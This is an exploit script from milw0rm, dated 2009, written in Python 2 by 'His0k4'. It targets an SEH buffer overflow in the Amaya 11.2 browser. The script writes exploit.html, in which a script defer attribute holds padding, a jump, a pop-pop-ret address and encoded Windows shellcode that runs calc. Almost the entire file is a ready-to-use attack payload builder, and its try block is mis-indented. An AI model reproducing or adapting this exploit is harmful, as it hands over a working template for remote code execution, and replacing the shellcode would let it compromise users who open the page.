#!/usr/bin/python
# _ _ _ __ _ _ _
#| || | (_) ___ / \ | |__ | | |
#| __ | | | (_-< | () | | / / |_ _|
#|_||_| |_| /__/ \__/ |_\_\ |_|
#
#[+] Bug : Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)
#[+] Tested on : Xp sp3 (en) under (vb)
#[+] Refer : http://www.milw0rm.com/exploits/8314
#[+] Exploit : His0k4
#[+] Greetz : All friends (DZ)
#[x] Note : The html file must be browsed from a webserver
#win32_exec calc encoded with alpha2=>374 bytes.
shellcode = (
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv"
"cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa"
"ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"
"kkZr1e4OdhgnQLISp9gkKZIntL7qa5Sl4QroV5vUKDhxKyR3KSP"
"MjTrMJvKnbVnlTLkKFOyPozWf7NiqgXcTQVkMDbKqZtBuOXkT1p"
"jusNTJkL4cOMmPszZmLtkmQsbRWUKppS6SpMSQrilNum5nMYmL8"
"k8ok2NSLjKkJ32WzA")
payload = "<script defer=\""
payload += "\x41"*6914 #change this value if needed
payload += "\x74\x06\x41\x41" #short jump
payload += "\x50\x1A\x03\x10" #pop pop ret somewhere
payload += "\x61"*13 # popad
payload += "\x52\xC3" # push edx,retn C3 not mangled ouf!
payload += "\x44"*668 # padding
payload += shellcode
payload += "\x45"*5000 # result
payload += "\">"
try:
out_file = open("exploit.html","w")
out_file.write(payload)
out_file.close()
print("\nExploit file created!\n")
except:
print "Error"
# milw0rm.com [2009-08-03]
